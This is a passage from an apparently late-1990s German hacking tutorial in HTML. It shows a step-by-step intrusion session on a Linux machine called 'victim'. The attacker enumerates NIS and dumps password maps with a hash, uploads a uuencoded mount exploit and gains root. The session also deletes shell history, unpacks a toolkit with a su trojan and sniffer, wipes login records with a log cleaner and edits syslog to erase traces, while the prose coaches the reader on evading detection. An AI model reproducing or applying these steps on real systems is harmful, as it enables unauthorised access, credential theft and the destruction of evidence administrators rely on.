1394 4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SW&nbsp;&nbsp;&nbsp; 12:12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1395 0:00&nbsp;&nbsp;&nbsp;&nbsp; mingetty</font>
1396 <br><font color="#FF0000">root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 148&nbsp;&nbsp;&nbsp;
1397 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1398 800&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;
1399 5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SW&nbsp;&nbsp;&nbsp; 12:12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1400 0:00&nbsp;&nbsp;&nbsp;&nbsp; mingetty</font>
1401 <br><font color="#FF0000">root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 149&nbsp;&nbsp;&nbsp;
1402 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1403 800&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;
1404 6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SW&nbsp;&nbsp;&nbsp; 12:12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1405 0:00&nbsp;&nbsp;&nbsp;&nbsp; mingetty</font>
1406 <br><font color="#FF0000">johnny 1641&nbsp;&nbsp;&nbsp; 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1407 4.6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1748&nbsp;&nbsp; 1064&nbsp; p4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1408 S&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 18:35&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1409 0:00&nbsp;&nbsp;&nbsp;&nbsp; -bash</font>
1410 <br><font color="#FF0000">johnny 1691&nbsp;&nbsp;&nbsp; 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1411 1.7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 928&nbsp;&nbsp;&nbsp; 408&nbsp;&nbsp;
1412 p4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; R&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1413 18:57&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp;&nbsp;
1414 ps au</font>
1415 <p><font color="#000000">Hier ueberpruefen wir nochmal genau ob nicht doch
1416 ein Admin eingeloggt ist, der <b>fingerd</b> modifiziert oder seine Eintraege
1417 aus </font><font color="#33FF33">w</font><font color="#000000">/</font><font color="#33FF33">utmp</font><font color="#000000">[</font><font color="#33FF33">x</font><font color="#000000">]
1418 geloescht hat. Wie es aussieht ist 'johnny' der einzige User, der online
1419 ist.</font>
1420 <p><font color="#FF0000">victim % domainname</font>
1421 <br><font color="#FF0000">korn.domain.nis</font>
1422 <br><font color="#FF0000">victim %&nbsp; ypwhich</font>
1423 <br><font color="#FF0000">chi</font>
1424 <br><font color="#FF0000">victim % ypcat ypservers</font>
1425 <br><font color="#FF0000">chi</font>
1426 <br><font color="#FF0000">fieldy</font>
1427 <p><font color="#000000">So, als erstes holen wir uns Infos ueber deren
1428 NIS. Den NIS-Domainname und den NIS-Server koennen wir spaeter benutzen
1429 um diverse NIS-Maps zu transferieren; z.B. die <i>Passwd-Map </i>nachdem
1430 wir rausgeflogen sind. NIS ist fast zu 100% in den Domains installiert.
1431 Nur wenige benutzen rdist, NIS+ oder DCE. Ein Program, das uns den Zugriff
1432 auf den NIS-Server ermoeglich heisst <b>ypx</b>.</font>
1433 <p><font color="#FF0000">victim% arp -a</font>
1434 <br><font color="#FF0000">fred.domain.com (10.255.0.4) at 00:C0:24:A4:3B:B2
1435 [ether] on eth0</font>
1436 <br><font color="#FF0000">bambam.domain.com (10.255.0.3) at 00:00:0C:A1:32:F2
1437 [ether] on eth0</font>
1438 <br><font color="#FF0000">hombre.domain.com (10.255.0.43) at 08:00:02:C1:FB:32
1439 [ether] on eth0</font>
1440 <br><font color="#FF0000">deep.domain.com (10.255.0.24) at 00:05:02:E1:12:B2
1441 [ether] on eth0</font>
1442 <br><font color="#FF0000">[...]</font>
1443 <p><font color="#000000">Ein kurzer Blick in den ARP Cache des Rechners
1444 zeigt uns welche Hardware im Netz verwendet wird. Die ersten drei Bytes
1445 der Ethernet-Adresse sind ein Indikator fuer den Hersteller der Netzkarte.</font>
1446 <br><font color="#000000">fred -> unbekannt, evtl. PC</font>
1447 <br><font color="#000000">bambam -> Cisco Router</font>
1448 <br><font color="#000000">hombre -> Sun Microsystems</font>
1449 <br><font color="#000000">deep -> Apple Mac.</font>
1450 <br><font color="#000000">Natuerlich gibt's noch andere bekannte Hersteller:
1451 HP, SGI, Cray...</font>
1452 <p><font color="#FF0000">victim% uname -a</font>
1453 <br><font color="#FF0000">Linux wallace 2.0.33 #4 Sun Jul 6 11:43:22 MEST
1454 1998 686 unknown</font>
1455 <br><font color="#FF0000">victim % ypcat passwd</font>
1456 <br><font color="#FF0000">proj:FbxcM/NyIxf7w:501:100:Project Account:/home/proj:/bin/bash</font>
1457 <br><font color="#FF0000">test:x:502:100:Test Account:/home/test:/bin/bash</font>
1458 <br><font color="#FF0000">[...]</font>
1459 <p><font color="#FF0000">victim % cat /etc/passwd</font>
1460 <br><font color="#FF0000">root:x:0:0:root:/root:/bin/bash</font>
1461 <br><font color="#FF0000">[...]</font>
1462 <p><font color="#FF0000">victim % ypcat group</font>
1463 <br><font color="#FF0000">root:x:0:root</font>
1464 <br><font color="#FF0000">bin:x:1:root,bin,daemon</font>
1465 <br><font color="#FF0000">daemon:x:2:</font>
1466 <br><font color="#FF0000">tty:x:5:</font>
1467 <br><font color="#FF0000">[...]</font>
1468 <p><font color="#FF0000">victim % cat /etc/group</font>
1469 <br><font color="#FF0000">root:x:0:root</font>
1470 <br><font color="#FF0000">bin:x:1:root,bin,daemon</font>
1471 <br><font color="#FF0000">daemon:x:2:</font>
1472 <br><font color="#FF0000">tty:x:5:</font>
1473 <br><font color="#FF0000">[...]</font>
1474 <p><font color="#FF0000">victim % ypcat hosts</font>
1475 <br><font color="#FF0000">127.0.0.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1476 localhost</font>
1477 <br><font color="#FF0000">[...]</font>
1478 <p><font color="#FF0000">victim % cat /etc/hosts</font>
1479 <br><font color="#FF0000">127.0.0.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1480 localhost</font>
1481 <br><font color="#FF0000">[...]</font>
1482 <p><font color="#FF0000">victim % cat /etc/syslog.conf</font>
1483 <br><font color="#FF0000"># /etc/syslog.conf - Configuration file for syslogd(8)</font>
1484 <br><font color="#FF0000">#</font>
1485 <br><font color="#FF0000"># For info about the format of this file, see
1486 "man syslog.conf".</font>
1487 <br><font color="#FF0000">#</font>
1488 <br><font color="#FF0000">#</font>
1489 <br><font color="#FF0000">#</font>
1490 <br><font color="#FF0000"># print most on tty10</font>
1491 <br><font color="#FF0000">kern.warn;*.err;authpriv.none&nbsp;&nbsp; /dev/tty10</font>
1492 <br><font color="#FF0000">*.emerg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1493 *</font>
1494 <br><font color="#FF0000">[...]</font>
1495 <p><font color="#FF0000">victim % cat&nbsp; /etc/inetd.conf</font>
1496 <br><font color="#FF0000"># See "man 8 inetd" for more information.</font>
1497 <br><font color="#FF0000">#</font>
1498 <br><font color="#FF0000"># If you make changes to this file, either reboot
1499 your machine or send the</font>
1500 <br><font color="#FF0000"># inetd a HUP signal:</font>
1501 <br><font color="#FF0000"># Do a "ps x" as root and look up the pid of
1502 inetd. Then do a</font>
1503 <br><font color="#FF0000"># "kill -HUP &lt;pid of inetd>".</font>
1504 <br><font color="#FF0000"># The inetd will re-read this file whenever it
1505 gets that signal.</font>
1506 <br><font color="#FF0000">#</font>
1507 <br><font color="#FF0000"># &lt;service_name> &lt;sock_type> &lt;proto>
1508 &lt;flags> &lt;user> &lt;server_path> &lt;args></font>
1509 <br><font color="#FF0000">#</font>
1510 <br><font color="#FF0000"># echo&nbsp; stream&nbsp; tcp&nbsp;&nbsp;&nbsp;&nbsp;
1511 nowait&nbsp; root&nbsp;&nbsp;&nbsp; internal</font>
1512 <br><font color="#FF0000"># echo&nbsp; dgram&nbsp;&nbsp; udp&nbsp;&nbsp;&nbsp;&nbsp;
1513 wait&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp; internal</font>
1514 <br><font color="#FF0000"># discard&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1515 stream&nbsp; tcp&nbsp;&nbsp;&nbsp;&nbsp; nowait&nbsp; root&nbsp;&nbsp;&nbsp;
1516 internal</font>
1517 <br><font color="#FF0000"># discard&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1518 dgram&nbsp;&nbsp; udp&nbsp;&nbsp;&nbsp;&nbsp; wait&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp;
1519 internal</font>
1520 <br><font color="#FF0000"># daytime&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1521 stream&nbsp; tcp&nbsp;&nbsp;&nbsp;&nbsp; nowait&nbsp; root&nbsp;&nbsp;&nbsp;
1522 internal</font>
1523 <br><font color="#FF0000"># daytime&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1524 dgram&nbsp;&nbsp; udp&nbsp;&nbsp;&nbsp;&nbsp; wait&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp;
1525 internal</font>
1526 <br><font color="#FF0000"># chargen&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1527 stream&nbsp; tcp&nbsp;&nbsp;&nbsp;&nbsp; nowait&nbsp; root&nbsp;&nbsp;&nbsp;
1528 internal</font>
1529 <br><font color="#FF0000"># chargen&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1530 dgram&nbsp;&nbsp; udp&nbsp;&nbsp;&nbsp;&nbsp; wait&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp;
1531 internal</font>
1532 <br><font color="#FF0000"># time&nbsp; stream&nbsp; tcp&nbsp;&nbsp;&nbsp;&nbsp;
1533 nowait&nbsp; root&nbsp;&nbsp;&nbsp; internal</font>
1534 <br><font color="#FF0000"># time&nbsp; dgram&nbsp;&nbsp; udp&nbsp;&nbsp;&nbsp;&nbsp;
1535 wait&nbsp;&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp; internal</font>
1536 <br><font color="#FF0000">[...]</font>
1537 <p>Jetzt haben wir alle Informationen die wir benoetigen um die Log-Verwaltung
1538 zu analysieren und um unseren Zugriff zu festigen/wiederzuerlangen.
1539 <p><font color="#FF0000">victim % mkdir /tmp/".. "</font>
1540 <br><font color="#FF0000">victim % cd /tmp/".. "</font>
1541 <br><font color="#FF0000">victim % uudecode</font>
1542 <br><font color="#FF0000">begin 644 mexpl.gz</font>
1543 <br><font color="#FF0000">M"B,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C</font>
1544 <br><font color="#FF0000">M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,*(PD)"0D)"0D)</font>
1545 <br><font color="#FF0000">M"2`@("`@(",*(PD@("`@(%5.25@@26YT97)A8W1I=F4@5&amp;]O;',@-"XR8B!C</font>
1546 <br><font color="#FF0000">M;VYF:6=U&lt;F%T:6]N(&amp;9I;&amp;4)"2`@("`@(",*(PD@($-O&lt;'ER:6=H="`H8RD@</font>
1547 <br><font color="#FF0000">M5'5D;W(@2'5L=6)E:2`F($%N9')E:2!0:71I&lt;RP@36%Y(#$Y.30)("`@("`@</font>
1548 <br><font color="#FF0000">M"2`@("`@(",*(PD)"0D)"0D)"2`@("`@(",*(R,C(R,C(R,C(R,C(R,C(R,C</font>
1549 <br><font color="#FF0000">M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C</font>
1550 <br><font color="#FF0000">M(R,C(R,C(R,C(R,C(R,C(PH*"B,*(R!X=&amp;5R;2!C;VYF:6=U&lt;F%T:6]N(&amp;9I</font>
1551 <br><font color="#FF0000">M;&amp;4@*%@@=VEN9&amp;]W('-Y&lt;W1E;2DN"B,@268@>6]U(&amp;%R92!U&lt;VEN9R!C;VQO</font>
1552 <br><font color="#FF0000">M&lt;E]X=&amp;5R;2!C;VYS:61E&lt;B!C:&amp;%N9VEN9R!,:6YU>$-O;G-O;&amp;4@86YD"B,@</font>
1553 <br><font color="#FF0000">M0V]L;W)-;VYI=&amp;]R('1O($].+@HC"@H*(PHC("`M($EF("=,:6YU>$-O;&amp;]R</font>
1554 <br><font color="#FF0000">[...]</font>
1555 <br><font color="#FF0000">victim % ls -altr</font>
1556 <br><font color="#FF0000">drwxr-xr-x&nbsp;&nbsp; 2 johnny users&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1557 1024 Jul&nbsp; 6 11:39 .</font>
1558 <br><font color="#FF0000">drwxrwxrwt&nbsp;&nbsp; 7 root&nbsp;&nbsp;&nbsp;&nbsp;
1559 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul&nbsp; 6 11:39
1560 ..</font>
1561 <br><font color="#FF0000">-rw-r--r--&nbsp; 1 johnny users&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1562 2345&nbsp; Jul&nbsp; 5&nbsp; 11:41 mexpl.gz</font>
1563 <br><font color="#FF0000">victim % gunzip *.gz</font>
1564 <br><font color="#FF0000">victim % chmod u+x mexpl</font>
1565 <br><font color="#FF0000">victim % mexpl</font>
1566 <br><font color="#FF0000">bash# whoami</font>
1567 <br><font color="#FF0000">root</font>
1568 <br><font color="#FF0000">bash# unset HISTFILE</font>
1569 <br><font color="#FF0000">bash# rm ~/.bash_history</font>
1570 <p><font color="#000000">Als erstes haben wir ein Arbeitsdirec. eingerichtet
1571 und anschliessend wurde das Binary eines mount-Exploits,</font>
1572 <br><font color="#000000">welches zuvor <b>uuencode</b>'d wurde, uebertragen.</font>
1573 <br><font color="#000000">Das Transferieren des Images ist recht simpel
1574 (Verwendung eines Terminalprog.s, keine PPP/IP Verbindung)</font>
1575 <br><font color="#FF0000">needle > uuencode mexpl.gz mexpl.gz > /dev/modem</font>
1576 <br><font color="#000000">Nur fuer den Fall, dass ich - aus welchen Gruenden
1577 auch immer - den Compiler einses Systems nicht benutzen kann, sammel ich
1578 von meinen Hackertools und Exploits die Binaries der verschiedenen Plattformen
1579 um sie wie oben gezeigt zu uebertragen.</font>
1580 <p><font color="#FF0000">bash# uudecode</font>
1581 <br><font color="#FF0000">begin 644 tools.tar.gz</font>
1582 <br><font color="#FF0000">M"B,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C</font>
1583 <br><font color="#FF0000">M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,*(PD)"0D)"0D)</font>
1584 <br><font color="#FF0000">M"2`@("`@(",*(PD@("`@(%5.25@@26YT97)A8W1I=F4@5&amp;]O;',@-"XR8B!C</font>
1585 <br><font color="#FF0000">M;VYF:6=U&lt;F%T:6]N(&amp;9I;&amp;4)"2`@("`@(",*(PD@($-O&lt;'ER:6=H="`H8RD@</font>
1586 <br><font color="#FF0000">M5'5D;W(@2'5L=6)E:2`F($%N9')E:2!0:71I&lt;RP@36%Y(#$Y.30)("`@("`@</font>
1587 <br><font color="#FF0000">M"2`@("`@(",*(PD)"0D)"0D)"2`@("`@(",*(R,C(R,C(R,C(R,C(R,C(R,C</font>
1588 <br><font color="#FF0000">M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C</font>
1589 <br><font color="#FF0000">M(R,C(R,C(R,C(R,C(R,C(PH*"B,*(R!X=&amp;5R;2!C;VYF:6=U&lt;F%T:6]N(&amp;9I</font>
1590 <br><font color="#FF0000">M;&amp;4@*%@@=VEN9&amp;]W('-Y&lt;W1E;2DN"B,@268@>6]U(&amp;%R92!U&lt;VEN9R!C;VQO</font>
1591 <br><font color="#FF0000">M&lt;E]X=&amp;5R;2!C;VYS:61E&lt;B!C:&amp;%N9VEN9R!,:6YU>$-O;G-O;&amp;4@86YD"B,@</font>
1592 <br><font color="#FF0000">M0V]L;W)-;VYI=&amp;]R('1O($].+@HC"@H*(PHC("`M($EF("=,:6YU>$-O;&amp;]R</font>
1593 <br><font color="#FF0000">M0V]N&lt;V]L92&lt;@86YD("=#;VQO&lt;DUO;FET;W(G(&amp;%R92!B;W1H($].+"!;54E4</font>
1594 <br><font color="#FF0000">M>'AX+4-O;&amp;]R70HC(&amp;1E&lt;V-R:7!T:6]N&lt;R!W:6QL(&amp;)E('5S960N"B,@("T@</font>
1595 <br><font color="#FF0000">M268@>6]U(&amp;%R92!W;W)K:6YG(&amp;]N(&amp;$@3&amp;EN=7@@&lt;WES=&amp;5M(&amp;)U="!Y;W4@</font>
1596 <br><font color="#FF0000">[...]</font>
1597 <br><font color="#FF0000">bash# tar xvzf tools.tar.gz</font>
1598 <br><font color="#FF0000">searcher</font>
1599 <br><font color="#FF0000">smeagol_v4.4.4.tar</font>
1600 <br><font color="#FF0000">clear13b.c</font>
1601 <br><font color="#FF0000">su-trojan</font>
1602 <br><font color="#FF0000">linsniffer.c</font>
1603 <br><font color="#FF0000">srm.c</font>
1604 <br><font color="#FF0000">ifconfig</font>
1605 <br><font color="#FF0000">fix</font>
1606 <br><font color="#FF0000">askhandle</font>
1607 <br><font color="#FF0000">bash# gcc -o cb clear13b.c</font>
1608 <br><font color="#FF0000">bash# ./cb johnny</font>
1609 <br><font color="#FF0000">wtmp ... utmp ... lastlog ... Done!</font>
1610 <br><font color="#FF0000">Last entry cleared from user johnny</font>
1611 <br><font color="#FF0000">bash# w</font>
1612 <br><font color="#FF0000">&nbsp; 3:28pm&nbsp; up&nbsp; 4:33h,&nbsp; 0 users,&nbsp;
1613 load average: 0.42, 0.15, 0.04</font>
1614 <br><font color="#FF0000">USER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TTY&nbsp;&nbsp;&nbsp;
1615 LOGIN@&nbsp; IDLE&nbsp;&nbsp; JCPU&nbsp;&nbsp; PCPU&nbsp; WHAT</font>
1616 <br><font color="#FF0000">bash#</font>
1617 <p>Ziiip!... Mit <b>clear13b</b> haben wir unsere aktuellen Eintraege aus
1618 <font color="#33FF33">w</font><font color="#000000">/</font><font color="#33FF33">utmp</font><font color="#000000">[</font><font color="#33FF33">x</font><font color="#000000">]</font>und
1619 <font color="#33FF33">lastlog</font>
1620 entfernt. Du solltest darauf aufpassen, dass dein Logcleaner keine Loecher
1621 in den Dateien, d.h. die Eintraege einfach mit '0' ueberschreibt, hinterlaesst,
1622 denn die koennen leicht von Programmen des CERT's entdeckt werden.
1623 <br>Auf <i>Process-Accounting </i>musst du auch acht geben, denn dadurch
1624 kann der Admin entdecken welche Programme du ausgefuehrt hast. Auch wenn
1625 die Programme nicht ungewoehnlich aussehen sollten ist es immer noch sehr
1626 auffaellig, wenn ein User, der keine Eintraege in den regulaeren Logfiles
1627 besitzt, ein Programm <font color="#000000">aufgerufen</font> hat.
1628 <br>Zum Glueck wird <i>Process-Accounting </i>nur selten benutzt, da das
1629 Logfile sehr schnell waechst. Das Logfile heisst <font color="#33FF33">acct</font>
1630 oder <font color="#33FF33">pacct</font> und befindet sich mit den anderen
1631 Logfiles im selben Direc..
1632 <br>Auf besonders schnellen/grossen Rechnern (Cray) ist das <i>Process-Accounting</i>
1633 fast immer aktiv, da hier die User fuer ihre Rechenzeit bezahlen muessen.
1634 <p><font color="#FF0000">bash# cd /var/log</font>
1635 <br><font color="#FF0000">bash# ls -altr</font>
1636 <br><font color="#FF0000">total 838</font>
1637 <br><font color="#FF0000">drwxr-xr-x&nbsp; 20 root&nbsp;&nbsp;&nbsp;&nbsp;
1638 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 May 28 19:58
1639 ..</font>
1640 <br><font color="#FF0000">-rw-r-----&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1641 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1642 0 May 28 21:01 news</font>
1643 <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1644 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 199 May 28 21:12
1645 httpd.error_log</font>
1646 <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1647 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1648 0 May 28 21:14 httpd.access_log</font>
1649 <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1650 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3925 May 28 21:53
1651 Config.bootup</font>
1652 <br><font color="#FF0000">drwxr-xr-x&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
1653 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jun 14 11:29
1654 .</font>
1655 <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1656 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1871 Jul&nbsp; 7 09:04
1657 boot.msg</font>
1658 <br><font color="#FF0000">-rw-r-----&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1659 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 519707 Jul&nbsp; 7 09:04 warn</font>
1660 <br><font color="#FF0000">-rw-r-----&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1661 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 15842 Jul&nbsp; 7 09:04
1662 mail</font>
1663 <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1664 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 24 Jul&nbsp;
1665 7 13:42 faillog</font>
1666 <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1667 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 16096 Jul&nbsp; 7 13:42
1668 lastlog</font>
1669 <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1670 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 92454 Jul&nbsp; 7 13:42
1671 messages</font>
1672 <br><font color="#FF0000">-rw-rw-r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1673 tty&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 207984 Jul&nbsp; 7 13:42
1674 wtmp</font>
1675 <br><font color="#FF0000">bash# grep source.ass *</font>
1676 <br><font color="#FF0000">messages: Jul&nbsp; 7 13:42:39 wallace in.telnetd[401]:
1677 connect from source.ass.com</font>
1678 <br><font color="#FF0000">bash# fuser messages</font>
1679 <br><font color="#FF0000">messages:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1680 85</font>
1681 <br><font color="#FF0000">bash# ps aux 85</font>
1682 <br><font color="#FF0000">&nbsp;&nbsp;&nbsp; USER&nbsp;&nbsp; PID %CPU
1683 %MEM&nbsp;&nbsp; VSZ&nbsp;&nbsp; RSS&nbsp; TT STAT&nbsp; START&nbsp;&nbsp;
1684 TIME COMMAND</font>
1685 <br><font color="#FF0000">root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1686 85&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1687 0.8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 836&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1688 196&nbsp;&nbsp; ?&nbsp;&nbsp;&nbsp; S&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1689 09:04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp; /usr/sbin/syslogd</font>
1690 <br><font color="#FF0000">bash# grep in.rlogind *</font>
1691 <br><font color="#FF0000">messages: Jul&nbsp; 7 13:41:56 wallace in.rlogind[384]:
1692 connect from johnny@victim.domain.com</font>
1693 <br><font color="#FF0000">bash# grep -v source.ass.com messages > m</font>
1694 <br><font color="#FF0000">bash# grep -v "Jul&nbsp; 7 13:41:56" m > messages</font>
1695 <br><font color="#FF0000">bash# cat /dev/zero > m</font>
1696 <br><font color="#FF0000">^C</font>
1697 <br><font color="#FF0000">bash# rm m</font>
1698 <br><font color="#FF0000">bash# ls -altr</font>
1699 <br><font color="#FF0000">total 838</font>
1700 <br><font color="#FF0000">drwxr-xr-x&nbsp; 20 root&nbsp;&nbsp;&nbsp;&nbsp;
1701 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 May 28 19:58
1702 ..</font>
1703 <br><font color="#FF0000">-rw-r-----&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1704 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1705 0 May 28 21:01 news</font>
1706 <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1707 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 199 May 28 21:12
1708 httpd.error_log</font>
1709 <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1710 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1711 0 May 28 21:14 httpd.access_log</font>
1712 <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1713 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3925 May 28 21:53
1714 Config.bootup</font>
1715 <br><font color="#FF0000">drwxr-xr-x&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
1716 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jun 14 11:29
1717 .</font>
1718 <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1719 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1871 Jul&nbsp; 7 09:04
1720 boot.msg</font>
1721 <br><font color="#FF0000">-rw-r-----&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1722 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 519707 Jul&nbsp; 7 09:04 warn</font>
1723 <br><font color="#FF0000">-rw-r-----&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1724 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 15842 Jul&nbsp; 7 09:04
1725 mail</font>
1726 <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
1727 root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 24 Jul&nbsp;
